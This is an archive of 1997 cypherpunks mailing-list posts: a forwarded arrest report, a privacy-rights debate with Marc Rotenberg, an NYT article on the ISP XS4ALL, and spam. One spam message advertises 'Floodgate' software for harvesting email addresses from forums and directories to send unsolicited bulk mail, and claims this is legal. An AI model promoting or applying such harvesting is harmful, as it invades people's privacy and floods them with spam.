Date: Sun, 1 Jun 1997 13:02:09 +0800
To: cypherpunks@algebra.com
Subject: You've got to be kidding....
Message-ID: <v0310280aafb6af06fd32@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Someone forwarded this item to me. As he didn't cc: the list on it, I'll
protect his identity. Could be he's understandably worried about who's
reading the list.

This item indicates that the same team that busted this "gang" could indict
several of us as "co-conspirators" (isn't this a redundancy?) along with
Bell.

Lock and load.

--Tim


>Date: Sat, 31 May 1997 21:23:20 -0700
>To: tcmay@got.net
>From: xxxxx
>Subject: You've got to be kidding....
>
>Tim --
>
>For your grist of stupid, selectively enforced laws:
>(from comp.risks 19.20)
>
>>Date: Fri, 30 May 1997 03:45:10 -0400
>>From: David Kennedy <76702.3557@compuserve.com>
>>Subject: Florida "Computer Gang" Members Arrested
>>
>>Courtesy of United Press International via CompuServe's Executive News
>>Service:
>>
>>> Florida computer gang members arrested
>>
>>> LECANTO, Fla., 22 May 1997 (UPI) -- Florida authorities have arrested two
>>> alleged leaders of a so-called computer "gang" they say set up a Web site
>>> that accused a teacher of having a homosexual affair with a student.  The
>>> Web site displayed a photograph of the student's prom picture with the
>>> teacher's head superimposed onto the head of the boy's female date.
>>
>>:: Two 19 year olds were charged with "publication of material that exposes
>>a person to hatred, contempt or ridicule."  Because they worked together,
>>anti-gang laws apply upgrading the charges from misdemeanors to felonies.
>>
>>:: The victim-teacher has been the target of harassment before, another
>>former student was sentenced to 6 months' probation last December.
>>
>>Dave Kennedy [CISSP] Research Team Chief, National Computer Security Assoc.
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 1 Jun 1997 09:01:31 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
Message-ID: <Pine.LNX.3.91.970531215301.196A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> The initial question has to be not how you protect rights,
> but how you define them. For example, we have a right
> to speak freely; there should be strict limits on
> government controls on free expression or the press.
> The state has unique powers of coercion. Similarly,
> there should be strict limits on government collection
> of personal data about its citizens.

This really depends how you look on the concept of government as a whole. 
I personally, as an anarchist, see this as a redundant argument however I 
think this point needs adressing. 
On government collection of data about citizens: If you favour a 
minarchist system of government and can envisage a government which 
commited no act of agression against its citizens, I do not see why you 
would be bothered about the government collecting data on citizens.

Certainly government collection of data on citizens can allow restrictive 
and totalitarian governments such as those currently seen in the US and 
nearly all of Europe to fuck citizens over at will: Information is power.
However, the whole point of cryptography is to protect information using 
mathematics, laws are not sufficient, nor indeed would they be the right 
solution. If you do support a system in which there is an entity that can 
be defined as the government, then it is your duty to keep private data 
you do not want them to know out of their hands. If information is freely 
available then you cannot expect to regulate or restrict its use by 
legislation.

> But transactional privacy is a different matter. Sure,
> we may generally agree that privacy is the famous
> "right to be left alone," 

There is no such right. No-one forces you to submit your name and address 
to a company so it can be passed on and put of junk mail lists etc... You 
personally have to bear the responsibility of keeping information out of 
the hands of those you do not want to posess it. 

> > Btw - Declan's summary of our views on privacy below are
> > just silly. Many of the greatest defenders of First Amendment
> > freedoms have also felt most strongly about the right of
> > privacy. The question is always how you protect rights.
> > Perhaps libertarians would do away with all laws that protect
> > personal freedoms. Bad call.

This is at best a flawed analysis of the situation, at worst a dangerous 
manifestation of the "there should be a law" mentality.

There is no such thing as a right to privacy, if you make information 
available you have to expect people to make use of it. As long as no-one 
forces you to make such information available you have no-one to blame 
for "misuse" of that information apart from yourself.

All true law within anarchist, and indeed much minarchist belief derives 
from the non agression principle, by making use of freely available 
information about you I do not initiate violence against you, therefore I 
am guilty of no crime.

Sure it is unpleasant to have your privacy violated, but it is your own 
choice whether you allow information to become available or not.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sun, 1 Jun 1997 11:38:02 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb68a25627d@[205.177.146.237]>
Message-ID: <Pine.SOL.3.96.970531222155.5247A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


> 
> I don't mind the criticism if you think we're saying or
> doing something that really is bad for privacy, but
> a bunch of political rhetoric isn't worth much. And if
> you don't think we're not busting our butt to protect
> the rights of people to use strong crypto, you have no
> idea what's going on.

Then I guess, to the extent you support the criminal crypto
provision--and you do--then I don't know what's going on.
I mean, man, I don't know what's going on.
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Sun, 1 Jun 1997 10:42:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb6766f6f7f@[204.179.142.132]>
Message-ID: <v03007800afb68a25627d@[205.177.146.237]>
MIME-Version: 1.0
Content-Type: text/plain


>At 6:05 PM -0700 5/31/97, Marc Rotenberg wrote:
>
>>What examples do you have where privacy is included in
>>a contractual arrangement?
>
>
>- a lender agrees to transfer the information provided only to specified
>parties, and not to the newspapers . . .

Good examples. Many are codified in statue, created by common law,
industry practice, or professional obligation. Virtually none are
tied to specific, negotiated contracts.

One of the biggest problems with libertarian theories is that
they are descriptively flawed as applied in the real world. In
practice, perfect markets rarely exist, laws do protect rights,
and there are a lot of efficiencies -- economic, technological,
and otherwise -- in promoting the highest level of safeguards
across similar activities, e.g. you get into a car, you expect
that the brakes will work. You don't express a negotiated
preference for how much you want your brakes to work.

I don't mind the criticism if you think we're saying or
doing something that really is bad for privacy, but
a bunch of political rhetoric isn't worth much. And if
you don't think we're not busting our butt to protect
the rights of people to use strong crypto, you have no
idea what's going on.

Marc.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 1 Jun 1997 13:22:00 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb68a25627d@[205.177.146.237]>
Message-ID: <199706010504.AAA29828@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007800afb68a25627d@[205.177.146.237]>, on 05/31/97 
   at 10:27 PM, Marc Rotenberg <rotenberg@epic.org> said:

>>At 6:05 PM -0700 5/31/97, Marc Rotenberg wrote:
>>
>>>What examples do you have where privacy is included in
>>>a contractual arrangement?
>>
>>
>>- a lender agrees to transfer the information provided only to specified
>>parties, and not to the newspapers . . .

>Good examples. Many are codified in statue, created by common law,
>industry practice, or professional obligation. Virtually none are tied to
>specific, negotiated contracts.

>One of the biggest problems with libertarian theories is that they are
>descriptively flawed as applied in the real world. In practice, perfect
>markets rarely exist, laws do protect rights, and there are a lot of
>efficiencies -- economic, technological, and otherwise -- in promoting
>the highest level of safeguards across similar activities, e.g. you get
>into a car, you expect that the brakes will work. You don't express a
>negotiated preference for how much you want your brakes to work.

Marc you really need to pick better examples for making your point. :)

Not only is government regulation unnecesary to insure passenger safty in
automobiles I can site what happend with Tucker as a prime example of how
government power was used to prevent the free market from bringing safty
inovations to the general public.

The biggest problem with libertarian ideals is that the never get
implemented before some statest jumps in with their own power grab
"solution" to the problem.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5EDpI9Co1n+aLhhAQHJ/AQAlGXirFFE/Cp+ZrXh7dREGrKBz7ftROq1
4VKhATlNHxWSOhX9sgyd3+QazW1ojhG6He/xCjJ9JOuhuNaWA292/BOynkweDf4I
ltdKNHyqV9fk2ZZpeAXCSvYyK1TSuMobL7MSvLcmfFz8DL1hNkFKBl0R546ZNJFq
GopDQzlUmzE=
=6+NB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Max Inux <maxinux@bigfoot.com>
Date: Sat, 13 Jun 1998 07:21:44 +0800
To: cypherpunks@Algebra.COM
Subject: FBI Case Files on the Web (fwd)
Message-ID: <Pine.LNX.3.96.970509171645.2353C-100000@khercs.chipware.net>
MIME-Version: 1.0
Content-Type: text/plain



Well, here is some more information about FOIA


FBI Files being put on the web, check out the story at
http://www.seattletimes.com/news/nation-world/html98/file_061298.html

Then go check out the files they've got on the web so far if you're interested
(alphabetical index) ...
http://www.fbi.gov/foipa/alpha.htm


-- Max Inux (MaxInux@bigfoot.com) UIN: 207447, http://khercs.dyn.ml.org
Strong Cryptography makes the world a safer place- PGP: 0x5CCFCA59
Or Kinky sex makes the world go round- Christie: Your in my sig too
^^ If Cryptography is outlawed,  only outlaws will have cryptography ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: RHS Linux User <vitality@plant.mail-response.com>
Date: Thu, 1 May 1997 04:28:02 -0700 (PDT)
To: listmaster@fullmkt1.fullmkt.com
Subject: Make a ton of Money Sending Postcards!!
Message-ID: <199705010609.CAA07294@plant.mail-response.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <manager@gte.net>
Date: Fri, 2 May 1997 11:37:19 -0700 (PDT)
To: <cyoung6166@aol.com>
Subject: Bulk Emailing !!
Message-ID: <m0wN3In-000eoYC@alliance.net>
MIME-Version: 1.0
Content-Type: text/plain


MARKETING WITH DIRECT EMAIL / BULK EMAIL SERVICES
NOW  WITH  "STEALTH"  EMAIL  PROGRAM
AND NEWSGROUP EMAIL "ADDRESS GRABBER"

I operate a custom email service. From my experience, your typical
bulk email service just collects email addresses from any source they can rely on shear volume emailing to produce the desired results - the "shotgun" approach. I have found that by targeting emails to groups that would likely be specifically interested in your product, the response rate is much better than when using the "shotgun" approach AND you don't tend to annoy as many people (which is nice for both sides). By targeting emails, I mean that I collect the addresses myself from on-line areas (forums, newsgroups, etc.) so that I mail to people that are likely to be interested in my products based on their on-line participation.

FLOODGATE is the renegade technology that helps me do this.

This is the same software that all bulk emailing services use!

------------------------------------------------------------------
Floodgate Bulk Email Loader for
Windows Version 5.02 now Supports 17 (really more with the free form filter) File Formats
------------------------------------------------------------------


SEND OUT 20,000+ MARKETING LETTERS EVERY SINGLE DAY!

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The Floodgate Bulk Email Loader imports simple text files that anyone can download from CompuServe, Prodigy, Delphi Genie, or the Internet. These text files contain classified ads, forum messages, or data from the member directory. Each of these files is filled with email addresses.

Floodgate is designed to read these files and strip out the email
addresses. It then sorts the addresses, removes any duplicates, and
formats them into an output file, with 10, 20 or 30 addresses per
line. This is all done in one simple step. Just point and click.

You'll need either a Windows based Internet account or an America
On-line account to send out your marketing letters. Neither AOL nor
the Internet charges to send email. Send your letter to 1,000 people or 10,000 people -- the cost is always the same. NOTHING!

NEW! PREPARE A MAILING OF 50,000+ IN LESS THAN A 1/2 HOUR

If you open an Internet account, you can send each letter to 2,000+
people. The new Floodgate now directly writes distribution lists. Some people are always collecting new addresses, but if you publish a newsletter or adsheet, you'll be using the same addresses over and over again. That's real power! When using addresses you've previously collected, you can press a few buttons and prepare a mailing of 50,000+ in less than a half hour.

(To get a list of all the Internet access providers in your local
calling area goto: http://thelist.com and click on your area code.)

The Floodgate Users Guide will teach you, step by step, how to
download the right files, how to strip the addresses, and finally, how to cut and paste the formatted addresses into your marketing letter. Or, if you have an Internet account, how to create distribution lists. One you've done this a few times you won't even have to think. It's that simple!

FOR THE BRAVE & DARING: PUSHING TECHNOLOGY TO ITS LIMITS

As you may know, the practice of sending unsolicited email is usually frowned upon, and most service providers have rules against it. But,like jay-walking, there is little enforcement. It's not illegal. If someone tells you that it is, ask them to provide the citation (and don't let them give you some nonsense about faxes - that's not email). They can't do it because it's not there. Sometimes, when a lot of people complain, I get a warning letter. And that's about it.

About 1 in 200 will write back and tell me, "take me off the list",
which I can do, thanks to Floodgates Remove List feature. Many people reply back thanking me for sending them my informative letter. That's always nice. Most people though, just reply and say, "send me more info." In this way, it usually takes me two or three letters to close a sale.

The Floodgate Users Guide will provide you with proven formats for
writing a successful marketing letter. You'll test and rewrite, test and rewrite. Then, once you've got it, just push a few buttons, and open the floodgates!!!

THE FLOODGATE BULK EMAIL LOADER CURRENTLY SUPPORTS 15+ FILE FORMATS

1. CompuServe Classifieds: Send your marketing letter to everyone who is running a classified ad. I'll teach you how to download all the classifieds from any single ad category. This is one of the most responsive list of buyers. They check their email every day and they're already in business.

2. America On-line Classifieds: Download 1,000 addresses in 15
minutes. These are excellent lists for business to business sales.

3. CompuServe Forums: You can join a forum and download hundreds of
forum messages in a matter of minutes.

4. America On-line Forums: Choose from dozens of forums. All good
targeted lists.

5. Prodigy Forums: Prodigy allows you to easily export any group of
forum messages. More targeted lists.

6. Internet Newsgroups: These are all targeted lists. You'll be able to send your marketing letter to everyone who posts a message in any newsgroup. Easily collect 1,000's of addresses per 	hour.

7. America On-line Member Directory: Most member directories only
allow you to search by city and state. With AOL, you can search by
business type, hobbies, computer type, etc. This is the gem of all
member directories. Build huge targeted lists.

8. CompuServe Member Directory: This is a major resource. If you're
willing to target your mailing to a single city, you can collect about 1,000 email addresses an hour.

9. Delphi Member Directory: The Delphi member directory allows you to search for people based on key words. These are good targeted mailing lists. A single search can easily generate 5,000 addresses.

10. Genie Member Directory: Similar to the CompuServe member
directory, only you can download names much quicker. You can easily
pull hundreds of thousands of addresses out of each of these member
directories.

11. CompuServe File Cabinet: If you run classified ads, and save the responses in the CIM file cabinet, you'll be able to easily reuse these addresses. You can send your marketing letter to everyone in any single folder. Build master lists and clean UP your hard drive.

12. Free Form: If you have a text file with email addresses that
floodgate does not support, chances are the Free Form filter will be just what you need. Just enter a key word to search for.

13. CompuServe Form Profiles (Forum Membership Directories): Easy to build targeted lists here. Each search can easily bring you 500+
addresses.

14. Genie Profiles: If you're building targeted lists, you'll get a
lot of addresses very quickly from Genie.

15. Plain Addresses: Read Floodgate Master Files back into Floodgate to merge files and do selective mailings. Also useful for the management of email address lists that you might purchase.

Floodgate also has filters to allow you to include or exclude any
groups of addresses in your final distribution lists. For example, you could include only email addresses that ended in .com or exclude all with .gov. You could exclude all noc, root, and other addresses that almost guarantee a negative response. These filters are fully configurable and can be used together.

BUILD REUSABLE MASTER FILES

Floodgate maintains Master Files for each of your marketing letters. If you download from the same place on a regular basis, you only want to send your letter to the new people. Floodgate will compare the new addresses with those in the Master File, and prepare a mailing list of only new people. The new addresses are, of course, then added to the Master File. With each new mailing your Master File grows and grows.

You may create as many Master Lists as you need. When you start a new marketing campaign, you'll want to send your new letter to everyone on your Master List. If you write a newsletter, each time you send your newsletter, you'll send it to everyone on a Master List.

THE REMOVE LIST

Very often, people will reply and tell you to take them off your
mailing list. Place these addresses in the REMOVE.MST file and they
will never receive another letter from you again. In this way, you
will be operating your business with the most professionalism
possible.

DON'T BE FOOLED

We have some new competitors that have tried to copy Floodgate. The
following list describes why Floodgate is BETTER.......

**Floodgate is a mature, bug free product. Not an initial release.
**Floodgate comes with over 100 pages of step by step documentation.
**Floodgate is the only one offering a money back guarantee.
**Floodgate has more testimonials. **Filter for filter, Floodgate
offers more capabilities, way more. **Floodgate does everything all
the others *combined* claim. **Floodgate is by far the easiest to use.
**There is NO *cutting and pasting* with Floodgate. **We have by far, the best technical support.

SOME QUICK MATH

Floodgate can pay for itself in a few days. It can also cut your
advertising costs down to almost nothing. Think of what the
competition will do when they get their Floodgate program. Don't be
left in the dust - there are 75 million people out there, just a few keystrokes away. Let's do the math:

- Email 50,000 sales letters (takes about 1-2 hours)
- Let's say your product will bring you $5 profit per sale.
- Let's also say you only get a 1% response (occasionally higher).

* That's 500 orders x $5 = $2,500 profit !! Now imagine what 500,000 letters would do for your business !!

WHAT CAN I MARKET ON-LINE?

You can market anything on-line using direct email, that can be
marketed using conventional postal direct mail marketing. The
possibilities are practically endless. If it sells off-line, you can sell it on-line.

EASY TO INSTALL AND EASY TO LEARN

The Floodgate Email Loader requires Windows. The docs tell you where to go, what to do, and how to do it. All you need are basic computer skills that can be learned with a little practice or help from computer savvy friends.

Floodgate has previously sold for as much as $2,499! The complete
package is now available for just $499.95, postpaid. If you order
within 72 hours, it can be your for only $349.95!! (Must be verified on out autoresponder log, by received email time stamp, fax time stamp, or voice message time stamp). These orders will also receive lifetime technical support and FREE OVERNIGHT SHIPPING (once your check has cleared the bank).

Some say Floodgate is expensive. Compared to direct mail, where you
pay for mailing lists, printing and postage, Floodgate is a bargain. For the cost of one traditional mailing, you'll own a Floodgate license and never again pay for lists, printing or postage. Those who know direct mail will agree, "Floodgate is the best advertising value on the Internet today!"

MONEY BACK GUARANTEE: Try the Floodgate Bulk Email Loader for 10 days. Do a test mailing. If you're not delighted, return the package for a full refund.

All Floodgate users receive unlimited technical and business support for 30 days, (and if you don't take up a lot of my time, for a lot longer.) To order the FLOODGATE Bulk Email Loader, send your check or money order for $349.95 within 72 hours from receiving this email letter to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077
(954) 341-2924

You can receive a functional demo version of Floodgate by
simply faxing us a short note with your email address to 1-954-255-3713.

SYSTEM REQUIREMENTS

386 or larger
Windows 3.1+ with at least 4 meg ram or Windows 95 with 8 meg ram
Extra 5 MB hard drive space

Floodgate can be run on a fast Mac with 24 MB RAM and SoftWindows.

NOTES FROM FLOODGATE USERS

"It is everything you said it was. Within one week of my first
mailing, I received a record number of orders. All you need to print money is a decent sales letter. Thanks." Randy albertson, Wolverine Capital.

"After using Floodgate and your utility program all day today, let me say these are as two of the finest programs I have ever bought in my 52 years! Your support has been superb. Thank You!" Vernon Hale, Prime Data Systems

"My first day and I just used Floodgate and Pegasus to send 1,469
sales letters. So far I've got about 25 positive responses. It works GREAT!!! Thanks." Donald Prior

"Floodgate is awesome!. I recently started a new business on-line. I stripped the addresses of the AOL & CIS classifieds. I sent out 3,497 email letters and got over 400 people to join my company in 5 days! Needless to say, it pays for itself." David Sheeham, OMPD

"I was able to use Floodgate to extract the names from the Internet
news groups. It works perfectly. Needless to say, I am very excited
about the use of this new technology." Mark Eberra, Inside Connections

"This is a great piece of software and an invaluable marketing tool."
Joe Kuhn, The Millennium Group

"I just thought you'd like to know that this program is fantastic.
After loading it on my system, I wanted to test it out. In my first
hour of using this, I collected 6,092 email addresses!" Richard Kahn, LD Communications

"I just love the Floodgate program. It saves me hours and hours of
time. This is the beginning of a wonderful FUN time marketing on-line. Thank you so much for writing this program." Beth O'Neill, Eudora, KS

"Your software is brilliant, and from the technical support I've
received, I can see you have a genuine love and respect of
people...Floodgate is a divine package. Wish I had found it sooner."
Tom Sanders, Peoria, IL

"I really like the way the Floodgate software package works. It is
very easy to use, and really does the trick. It has already saved me an incredible amount of time and energy." John Berning, Jr.,
Fairfield, NJ

"It's going great with FLOODGATE! I like using Delphi. I just
collected 50,000+ addresses within 20 minutes on-line." Richard Kahn, R&B Associates

------------------------------------------------------------------
FLOODGATE ORDER FORM:

Please print out this order form and then fill in the blanks......

______Yes! I would like to try your cutting-edge software so that I
can advertise my business to thousands of people on-line whenever I
like! I understand that I have 10 days to trial the software. If I am not fully delighted, I will cheerfully be refunded the purchase price, no questions asked! Please rush me the FLOODGATE package now!

______I am ordering within 72 hours! That qualifies me to receive the FLOODGATE package at a substantial discount! I am ordering the
software for only $349.95. (Save $150 off the retail price....Software has sold for as much as $2,499.95)

______I am ordering within 72 hours! That qualifies me to receive free lifetime technical support.

______I am ordering within 72 hours and I want FREE overnight shipping!

______I am ordering within 72 hours and I want 25,000 FREE email addresses
to get me started earning money with my marketing letter.


YOUR NAME_________________________________________________________

COMPANY NAME_____________________________________________________

YOUR POSITION______________________________________________________

STREET ADDRESS_____________________________________________________

CITY, STATE, ZIP______________________________________________________

PHONE NUMBERS______________________________________________________

FAX NUMBERS_________________________________________________________

EMAIL ADDRESSES_____________________________________________________

We accept Checks or Money Orders by mail.

I agree to pay WebAware an additional $27 fee if my check is returned for insufficient or uncollectable funds.

SIGNATURE: X_________________________________DATE:__________________

Please send all order forms and check or money order to payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077
(954) 341-2924


***********************************************************************************************

OR:

PLEASE PASTE YOUR CHECK HERE

(If you fax a check, there is no need for you to send the original
check by mail. We will draft up a new check, with the exact
information from your original check that you faxed to us)

Please fax the above order form and check to: 1-954-255-3713.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stop1@usa.net
Date: Thu, 1 May 1997 22:37:07 -0700 (PDT)
To: Friend@public.com
Subject: HELLO
Message-ID: <4756089120792879.GP493285@morebiz-7.net>
MIME-Version: 1.0
Content-Type: text/plain


We apologize if this is an unwanted message.  If you wish to be
removed from our list simply send a blank message to stop1@usa.net
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Fri, 2 May 1997 02:15:52 -0700 (PDT)
To: tank@xs4all.nl
Subject: Artikel about XS4ALL in New York Times
Message-ID: <199705020912.LAA11297@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




THE NEW YORK TIMES/CYBERTIMES
www.nytimes.com


April 29, 1997

By BRUNO GIUSSANI

For an ISP in the Netherlands, Controversy Is an Old Friend

AMSTERDAM -- April has meant business as usual at XS4ALL
(access-for-all), the third-largest Internet service provider in the
Netherlands.

The month started off with the XS4ALL Web site being out of reach for a
substantial portion of the European online population, and it is ending
with the provider's adding a notch to its track record as a champion of
freedom of speech.

On April 11 the Dutch Web site was blocked by the German academic
network, Deutsche Forschungsnetz (DFN), which serves about 400
universities and research organizations and provides Internet access to
a half million people. DFN acted under pressure from the Federal
Criminal Investigation Bureau pointing out the illegal -- in Germany,
though not in the Netherlands -- content of Radikal Magazine, which is
housed on the XS4ALL server.

Radikal, a left-wing underground magazine, advocates "militant and
armed interventions" to overthrow the government, and has published a
"Short guide to hindering railway transports of all kinds" -- a
handbook describing how to attack and damage tracks.

Since selectively barring single home pages is technically impossible,
the DNF action cut off all 6,000 pages on the XS4ALL servers, including
those of Serbian opposition radio station B-92 and several scientific
databases.

Thus, while blocking illegal material, the German network was also
hampering scientific work -- which DFN has been established to
nurture.  Not to mention that skilled Internet users could route around
the obstacle by using a remailing system or a proxy server located
abroad.  What's more, Radikal Magazine can be found on several dozen
"mirror sites" around the world.

Ten days later -- after being flooded by protests -- the German network
lifted the ban on XS4ALL. "An effective blockage of illegal information
has not been within the realms of possibility," Klaus-Eckart Maass, a
DFN spokesman, conceded in an interview with The Associated Press.

Now, this happened the very same week as the indictment of a German
manager of CompuServe, a leading international online service, for the
transmission of allegedly illegal materials over the Internet and as
the German Parliament opened discussions on a new multimedia law.

The new bill would place the responsibility for content on the supplier
of the data, thus Internet service providers would not be held liable
for illegal information that could pass over their wires unless they
have been alerted and "have the technical ability" to delete or block
it -- the very same scheme the German academic network found impossible
to enforce.

It was not the first time XS4ALL had been at the forefront of an
Internet skirmish.

Last September, most German ISPs blocked XS4ALL for a month after
complaints by a regional prosecutor about Radikal.  (In January Angela
Marquardt, a Bavarian socialist politician, was indicted for linking to
the banned magazine from her personal home page).

"After a couple of weeks, the censored information was mirrored on some
50 Web sites around the world and voluntarily removed by our user from
the XS4ALL server," the company's founder, Felipe Rodriquez, 28,
explained. "After the block had ended, our user put the documents back
on his page."

Along with German prosecutors, the Amsterdam-based provider has lined
up a fair list of other adversaries: the McDonald's fast-food chain,
the Serbian government and the Church of Scientology, just to name a
few.

XS4ALL's roots reach into the hacker movement. The venture started out
in 1993 "to give anyone the possibility to access the Internet." At
that time there were no commercial access providers in Holland. It has
grown into a respectable and very successful business in less than four
years, yet the principles on which it was created have not changed:
"Internet for the masses" is still its motto.  XS4ALL currently has 55
employees, boasts 21,000 subscribers and hosts some 6,000 home pages.

"A few years ago, we would have been portrayed as a band of dangerous
anarchists, bent on disrupting society," Rodriquez told the Dutch daily
Trouw. "But now they have come to see that we are nice and quiet people
really."

The company was instrumental in the creation of the Amsterdam Digital
City project, a community networking initiative backed by taxpayer's
money, and Rodriquez himself played a key role in setting up the Dutch
anti-child-pornography hotline, the first of its kind, last year.

"Before we started the hotline, Holland had a reputation of being a
kid-porn freehaven," he said in an interview last week. "We designed it
as a non-censoring form of self-regulation."

The hotline is run by Internet users and providers. Unlike Britain's
Internet Watch Foundation, the Dutch hotline doesn't censor any
information nor does it ask the provider to do so. Hotline operators
contact the author of the information and ask him to remove the
offending content.  "If the author does not comply, we report him to
the police, and he'll be prosecuted," said Rodriquez, who also is
chairman of the Dutch Providers Association.

"The Internet Watch Foundation forces the provider to remove the
illegal content," he added. "This is a fundamentally different approach
to responsibilities on the Internet. We think the author of the
information is responsible for his own actions, not the provider."

That's why XS4ALL didn't take any steps against the customer who posted
Radikal Magazine on its server. "Our policy is that as a provider we
are not in the position to judge whether this magazine is illegal in
the Netherlands, therefore we do not interfere with our users' freedom
of speech," Rodriquez stated.

"If there is any doubt about the legality of the publication in
Holland, a Dutch court of law would be the proper place to remove these
doubts," he added.

This was the case when, in September 1995, the Religious Technology
Center -- better known as the Church of Scientology -- filed for the
seizure of all the XS4ALL computer equipment "because one of our users
had put on his home page some information to which Scientology said it
owned the copyright."

The document -- the now famous "Fishman affidavit" -- is the actual
transcript of a testimony given by Steven Fishman in a Los Angeles
Court in which he accused the church of having forced him to act
illegally.

"We denied any responsibility for the content on our users' pages; they
decide for themselves what they will publish," Rodriquez recalled. "We
won the litigation." The user preferred to take down the controversial
document.

Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
comply, as it did a few weeks ago when it shut down a customer's home
page called Neuroroom, which sold marijuana and other soft drugs in
Holland and abroad.

The company's commitment to support free expression and democratization
of the Internet doesn't stop here. Last fall when the Serbian
government censored radio station B-92, XS4ALL helped design an
Internet campaign and started to carry news broadcasts (in RealAudio
format) that kept the rare opposition voice alive and the international
public informed through independent accounts of the events occurring
during the mass demonstrations in Belgrade.

"They gave us disk space, donated network traffic and helped in
training people," said Frank Tiggelaar, a Dutch activist for
democratization in former Yugoslavia.

"Basically any project we like gets free resources from XS4ALL,"
Rodriquez commented.

The campaign of Helen Steel and Dave Morris is among the projects
XS4ALL's old hackers do like. The two British environmentalists are the
main characters of a civil case that started in 1990 when the
McDonald's restaurant chain sued them for distributing flyers pointing
at what they called the company's economic and ecological "ravages."

The trial is not over yet -- but it has spawned a large Internet-based
support network and fed a huge anti-McDonald's Web site called
McSpotlight hosted, not surprisingly, by XS4ALL.

EUROBYTES is published weekly, on Tuesdays. Click here for a list of
links to other columns in the series.


Related Sites Following are links to the external Web sites mentioned
in this article. These sites are not part of The New York Times on the
Web, and The Times has no control over their content or availability.
When you have finished visiting any of these sites, you will be able to
return to this page by clicking on your Web browser's "Back" button or
icon until this page reappears.


Bruno Giussani at eurobytes@nytimes.com welcomes your comments and
suggestions.


		Copyright 1997 The New York Times Company


--
XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe@xs4all.nl for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Fri, 2 May 1997 21:52:21 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Barmy for Bhajis!
Message-ID: <199705021107.MAA07297@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


This week we've taken one of the net's most respected magazines - and 
curried it. That's right, we proudly invite you to feast on the Curried 
Issue of Shift Control, a veritable korma-copia of spicy treats. Our 
menu includes every curried delicacy ever invented - plus one or two 
that Shift Control's own masters of masala have cooked up themselves...

The starter: Poppadum will eat itself (a poppadum taste-a-thon).

The main dish: A tour through the three levels of curry house, from the
corner kormarama to the true viceroys of vindaloo.

The side dishes:
Curried thumbs - a tasteful selection of microwavable curries.
Curried songs - from 'Korma Chameleon' to 'Vindaloo Sunset'.
Curried Spice Girls - if the Girls were curries, what kinds would they be? 
Curried films - featuring 'Last Mango in Paris' and other screen platters.

Also on the menu this week...

The best curry of the millennium and a quiz to test how wild you are about 
curry - all with a rich and fragrant smothering of instant granulated Chip 
Shop Curry Sauce. Mmmm.

We also cater for those who prefer British fare with a fine selection of 
fiction, including your chance to win £200 - a lot of curries - by entering 
our short story competition.

So give yourself a tasty treat and partake in our sumptuous offerings, all
of which are hot, steaming and awaiting your delectation  at
http://www.shiftcontrol.com


Shift Control is produced by the Guardian's New Media Lab with help from 
Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe


